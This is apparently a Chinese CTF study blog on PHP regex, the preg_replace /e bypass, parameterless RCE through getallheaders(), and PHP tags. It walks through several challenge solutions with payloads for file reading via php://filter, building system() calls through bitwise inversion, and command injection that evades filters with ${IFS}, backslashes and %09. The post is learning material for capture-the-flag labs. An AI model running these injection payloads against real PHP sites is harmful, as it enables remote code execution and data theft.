2024.3.26学习总结

一,正则匹配

正则匹配是用来搜索,匹配,替换的一种字符串模式,使用正则匹配可以让搜索匹配的语句更加简洁,在php中会使用一些函数来处理正则匹配

常用的语法:
  字符类
  • [abc]: 匹配单个字符a、b或c
  • [^abc]: 匹配除了a、b和c之外的任意字符
  • [a-z]: 匹配任意小写字母
  • [A-Z]: 匹配任意大写字母
  • [0-9]: 匹配任意数字
通用原子
  • .: 匹配任意字符
  • \d: 匹配任意数字,等价于[0-9]
  • \w: 匹配任意字母、数字或下划线,等价于[a-zA-Z0-9_]
  • \s: 匹配任意空白字符,如空格、制表符等
  • \S: 匹配除了空格符之外
  • \W:匹配除了字母,数字,下划线之外
限定符

定位符
  • ^: 匹配行的开头
  • $: 匹配行的结尾
  • \b: 匹配单词边界
[BJDCTF 2020]ZJCTF,不过如此

这题涉及到了preg_replace/e模式绕过,所以我觉得要先了解一下正则匹配才会好理解一些。

preg_replace函数是一个正则的搜索替换函数

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

 preg_replace ( 正则表达式,替换,目标字符串,最大替换次数[默认-1],替换次数 )

在/e模式下,第一个位置和第三个位置都是可控的变量,也就是说,正则匹配和目标字符串都能控制

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}

当preg_replace匹配到符号正则的字符串时,就会把替换的字符串当做代码执行,但是替换字符串的位置却固定为字符串,这个字符串的含义为\1,所以这里代表访问临时缓冲区中的第一个子匹配项,也就是第一个位置

看看题目,常规的GET传参和php伪协议,值得一说的是file_get_contents是读取文件的函数,所以传入文件的类型才能读取,所以需要用到data://来写入,在用php://filter读取next.php中的信息

text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到base64编码,解码能看到php代码

preg_replace/e模式,id这个传参好像没有用到,这里的思路应该是,看到getFlag(),并且通过它来执行eval命令,所以在上面就应该调用到这个对象。那么就要控制$re,$str,去查了资料,$re这个位置如果想要用.*,匹配任意字符的话,在用\.*做参数传入会被解析为\_*,所以改用\S*匹配(应该是属于利用通配符来匹配,进行任意的匹配来执行函数,访问目标函数)

\S*=${getFlag()}

getFlag(),就是缓冲区中的第一个位置,就访问了getFlag,经过foreach遍历数组,\s*=>getFlag,这样就调用了getFlag

cmd=phpinfo();

这题我看有些wp,在其他平台的flag可以再flag里面查看,但是NSSCTF的是空的,在phpinfo里面

所以我就写phpinfo

二,RCE(getallheaders(),无参数)

getallheaders()

获取当前请求的所有请求头信息。(该函数不需要参数,因为是获取请求头信息,所以在请求头上进行命令的执行)

返回值:array(返回二维数组)

<?phpforeach (getallheaders() as $name => $value) {echo "$name: $value";
}
?>

无参数RCE的一些函数,一般是搭配使用

[鹏城杯 2022]简单的php

看题,参数长度小于等于80,并且过滤了字母数字,属于无字母了,取反绕过

else if里面的‘;’,说明进行没有参数传参来进行preg_replace函数

payload

code=system(current(getallheaders()))

进行取反,在二维数组拼接时要用[!%FF]

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'current');
echo "\n";
echo urlencode(~'getallheaders');
?>

在请求头执行ls等语句查询目录

最后加转义符绕过(这里的绕过是发现cat不了flag,所以尝试出来的),拿到flag

[FSCTF 2023]细狗2.0

记录这题是为了记录,在没有回显时,不一定就是使用tee命令,有些可以通过其他的位置来达到回显的目的

看题目,正常输入个1试试水,看看什么情况

进入传参后的页面,一开始认为在"1"这个位置进行命令执行,但是发现怎样都拿不到信息

 然后去看了wp,后面的“洗洗睡吧”,这个位置是在命令执行之后显示的,所以可以在这个位置进行命令执行,来拿到信息

 存在一个空格绕过,而且我用system执行不了

1;ls${IFS}/

 cat和flag也是被过滤了

1;c\at${IFS}/f\lag

三,php标签

php标签用于包裹,嵌入PHP代码。在标签中的代码会被服务器解析为PHP代码,并在服务器端执行。这个标签可以用于任何PHP代码,包括变量声明、函数定义、逻辑判断、循环等等。

 常见的标签有

<?php echo "hellow";?>
<?php echo "hellow"; //省略?>
<? echo "hellow";?>
<?= phpinfo();?> //<?=相当于echo的用法(在最近的考核中也是涉及到了)
<script language="php"> echo "hellow"; </script>
[FSCTF 2023]EZ_eval

先看源码

为什么会想到用<?php>的形式呢,是因为在eval函数中在末尾拼接了?>,所以觉得应该用php标签

正则过滤了一些命令,不过可以用转义符来绕过,还存在空格过滤,用%09;之后的字符替换中把?用空格替换了,也就导致php标签要选用长标签,长标签中不存在?

word=<script%09language="php">system('ls%09/');

<script%09language="php">system('c\at%09/fl\ag');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/775692.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DevSecOps平台架构系列-互联网企业私有化DevSecOps平台典型架构

目录 一、概述 二、私有化DevSecOps平台建设思路 2.1 采用GitOps公有云建设 2.2 采用GitOps私有云建设 2.3 总结 三、GitOps及其生态组件 3.1 采用GitOps的好处 3.1.1 周边生态系统齐全 3.1.2 便于自动化的实现 3.1.3 开发人员属性GitOps 3.2 GitOps部分生态组件介绍…

搜维尔科技【应急推演】虚拟仿真技术的发展为煤炭矿井的安全生产找到新的出口

煤炭矿井的安全生产一直是我国关注的重大事项&#xff0c;保证煤炭矿井的安全生产&#xff0c;减少人员伤亡等不可逆的损失成为重中之重。虚拟仿真技术的发展为煤炭矿井的安全生产找到了新的出口。依托虚拟仿真技术&#xff0c;对煤炭矿井进行实时的生产监测&#xff0c;对矿井…

华为昇腾asend

昇腾Ascend C编程语言 Ascend C原生支持C/C编程规范&#xff0c;通过多层接口抽象、并行编程范式、孪生调试等技术&#xff0c;极大提高了算子的开发效率&#xff0c;帮助AI 参考文章 手把手教你在昇腾平台上搭建PyTorch训练环境 - 哔哩哔哩 (bilibili.com)https://www.bilibi…

科普 | Runes 预挖矿概念

作者&#xff1a;Jacky X/推&#xff1a;zxl2102492 关于 Runes 协议的前世今生&#xff0c;可以点击阅读这篇文章 &#x1f447; 《简述 Runes 协议、发展历程及最新的「公开铭刻」发行机制的拓展讨论》 什么是传统预挖矿概念 这轮比特币生态爆发之前&#xff0c;预挖矿&…

2024 MCM数学建模美赛2024年A题复盘,思路与经验分享:资源可用性与性别比例 | 性别比例变化是否对生态系统中的其他生物如寄生虫提供优势(五)

审题 第四问让我们探究性别比例变化是否对生态系统中的其他生物如寄生虫提供优势。这里我们可以把问题简化一下&#xff0c;只探究性别比例会不会对寄生虫提供优势。因为考虑太多生物&#xff0c;会使模型更复杂&#xff0c;我这个水平处理不了这么复杂的问题&#xff0c;是我…

Healix Protocol 的 HLX 通证预售:医疗领域的未来展望

Healix Protocol推出 HLX 通证预售&#xff0c;将带来医疗领域的重要变革。通过其区块链技术&#xff0c;Healix Protocol致力于重新定义医疗服务的可及性与负担性&#xff0c;成为医疗行业的希望之光。该项目旨在增强透明度、可及性和效率&#xff0c;推动医疗体系向更加公平和…

ripro子主题wori-child集成后台美化包(适用于设计素材站+资源下载站等)

新内容如下 1、子主题独立运行,彻底摆脱覆盖原主题文件 2、下载信息插件升级优化 3、细节优化 V1.0更新内容如下 1、同步暗黑美化、手机端美化 2、新增菜单合成幻灯片&#xff08;后台自行设置&#xff09; 3、新增公告统计 &#xff08;后台自行设置&#xff09; 4、新增…

【小沐学AI】智谱AI大模型的一点点学习(Python)

文章目录 1、简介1.1 大模型排行榜 2、智谱AI2.1 GLM2.1.1 模型简介2.1.2 开源代码2.1.2.1 GLM-130B 2.2 ChatGLM2.2.1 模型简介2.2.2 开源代码2.2.2.1 ChatGLM2.2.2.2 ChatGLM22.2.2.3 ChatGLM3 2.3 CodeGeeX2.3.1 模型简介2.3.2 开源代码 2.4 CogView2.4.1 模型简介2.4.2 开源…

如何使用 ArcGIS Pro 自动矢量化水系

对于某些要素颜色统一的地图&#xff0c;比如电子地图&#xff0c;可以通过图像识别技术将其自动矢量化&#xff0c;这里为大家介绍一下 ArcGIS Pro 自动矢量化水系的方法&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的电子地图数据&#…

政安晨:【深度学习神经网络基础】(二)—— 神经元与层

政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 政安晨的机器学习笔记 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff01; 神经元是深度学习神经网络中的基本单元&#xff0c;模拟了…

CheatFetcher风灵月影修改器快速下载器

地址:https://github.com/MartinxMax/CheatFetcher/releases/tag/v1.0 CheatFetcher网络爬虫风灵月影作弊器快速下载器 采用翻译接口,实现输入中文转为英文搜索,并且英文结果转为中文输出你可以在此更快的下载到游戏修改器 示例 打开cmd窗口,或者其他终端运行 >CheatFe…

C++:变量和常量(3)

变量 什么是变量&#xff1a;变量就是一个装东西的盒子 通俗&#xff1a;变量是用于存放数据的容器。我们通过变量名获取数据&#xff0c;甚至数据可以修改 变量的作用&#xff1a;给指定的内存空间起名&#xff0c;后期通过起的名字就可以调用整个内存空间 定义变量的格式 &a…

AXI Memory Mapped to PCI Express 学习笔记(四)——仿真设计

本文包含有关Vivado Design Suite中对AXI Memory Mapped to PCI Express core进行仿真的示例设计信息。 一、仿真设计概述 在仿真设计中&#xff0c;事务是从Root Port模型发送到配置为Endpoint的AXI Memory Mapped to PCI Express core&#xff0c;并在AXI块RAM控制器设计中…

基于模糊控制算法的倒立摆控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 对倒立摆模型进行模糊控制器simulink建模&#xff0c;利用倒立摆的摆角角度与小车的位置来控制小车的推力&#xff0c;控制了倒立摆的摆角问题&#xff0c;使得小车最终停在稳…

SpringBoot实现RabbitMQ的WorkQueue(SpringAMQP 实现WorkQueue)

文章目录 1. 前言2. 思路3. 消息发送4. 消息接收4.1 能者多劳 总结 1. 前言 上一篇文章,实现了用 SpringBoot实现RabbitMQ的简单队列, 篇文章 操作 用SpringBoot实现RabbitMQ的WorkQueue(SpringAMQP 实现WorkQueue) Work queues&#xff0c;也被称为&#xff08;Task queues&…

Python Flask-Mail实现邮件发送

一、邮件发送的扩展 关于如何找到flask发送邮件的插件&#xff1f;&#xff0c;上一篇已经分享了如何找到第三方插件&#xff0c;也找到了插件flask-mail的使用文档&#xff0c;那我们就来实战吧 二、根据文档&#xff0c;总结发送邮件的流程 从文档中可以总结出发送邮件的步…

springboot-vue前后端分离项目实例

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

【C语言】Infiniband驱动pci_pcie_cap

一、注释 //include\linux\compat-2.6.h #define LINUX_BACKPORT(__sym) backport_ ##__sym//include\linux\compat-2.6.33.h #define pci_pcie_cap LINUX_BACKPORT(pci_pcie_cap)/*** pci_pcie_cap - 获取保存的PCIe能力偏移* dev: PCI 设备** PCIe能力偏移在PCI设备初始化时…

实例、构造函数、原型、原型对象、prototype、__proto__、原型链……

学习原型链和原型对象&#xff0c;不需要说太多话&#xff0c;只需要给你看看几张图&#xff0c;你自然就懂了。 prototype 表示原型对象__proto__ 表示原型 实例、构造函数和原型对象 以 error 举例 图中的 error 表示 axios 抛出的一个错误对象&#xff08;实例&#xff0…

基于springboot的车辆充电桩管理系统

开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven…